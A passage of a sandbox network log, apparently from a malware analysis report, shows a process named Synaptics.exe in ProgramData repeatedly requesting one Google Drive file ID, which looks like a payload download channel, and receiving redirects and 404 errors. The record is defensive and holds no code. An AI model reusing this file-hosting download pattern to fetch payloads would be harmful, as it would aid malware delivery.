28	192.168.2.4	49789	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:15 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:16 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4RQLENhRrvzVqueDdzDHQpf4Jyu2yxE_Qp7ZHkhQmYZooQDyTlYdORTrkc-HnRm03K Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:16 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-UMQ1vjRA9WsUbxq4ad4D_g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:16 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:16 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 49 4b 6b 6b 43 6b 59 41 64 70 4d 37 74 4f 2d 4b 4a 52 56 79 70 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="IKkkCkYAdpM7tO-KJRVypA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:16 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49786	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:15 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 03:59:16 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:16 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-YlG8jt15DeWibx6e_1AmGg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49787	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:15 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 03:59:16 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:16 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-vRyUsLoXHXrI1679JEGQrQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49794	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:16 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 03:59:17 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:17 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-AZnOSpdX63AYzK624azC-Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49795	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:16 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
2024-12-30 03:59:17 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:17 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Tuys9KORT7QrWG7Ip2T8eQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49796	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:16 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:17 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4cPH-EFvyhaaOG3jl0QVAJ7Aq--e6zYx6DNSk_4BnFzbgH6BhgII_ExjeKyJjFUGlc Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:17 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce--3PEMSapH6wrPvKcz47n3g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:17 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:17 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 54 47 7a 30 35 69 34 55 30 4e 53 69 6e 4d 72 33 4e 37 6e 48 4c 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="TGz05i4U0NSinMr3N7nHLQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:17 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49797	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:17 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:17 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5Tyqq2iivl5ayogLnwsjEQwiETwMCPrg0tfvhIPEHjcp24apnx8POGc7JaejbW7lkBeSN3jcY Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:17 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-4pfC2-T8JB2ftMNmFRl1Fw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:17 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 03:59:17 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 66 51 46 34 6c 74 75 43 6d 36 61 44 79 6b 32 44 68 55 30 6f 47 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="fQF4ltuCm6aDyk2DhU0oGQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 03:59:17 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49799	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:17 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49798	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:17 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49800	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:17 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49804	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:18 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
2024-12-30 03:59:19 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:18 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-wrWyBb_GT-MhI35ObxB9HA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49803	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:18 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
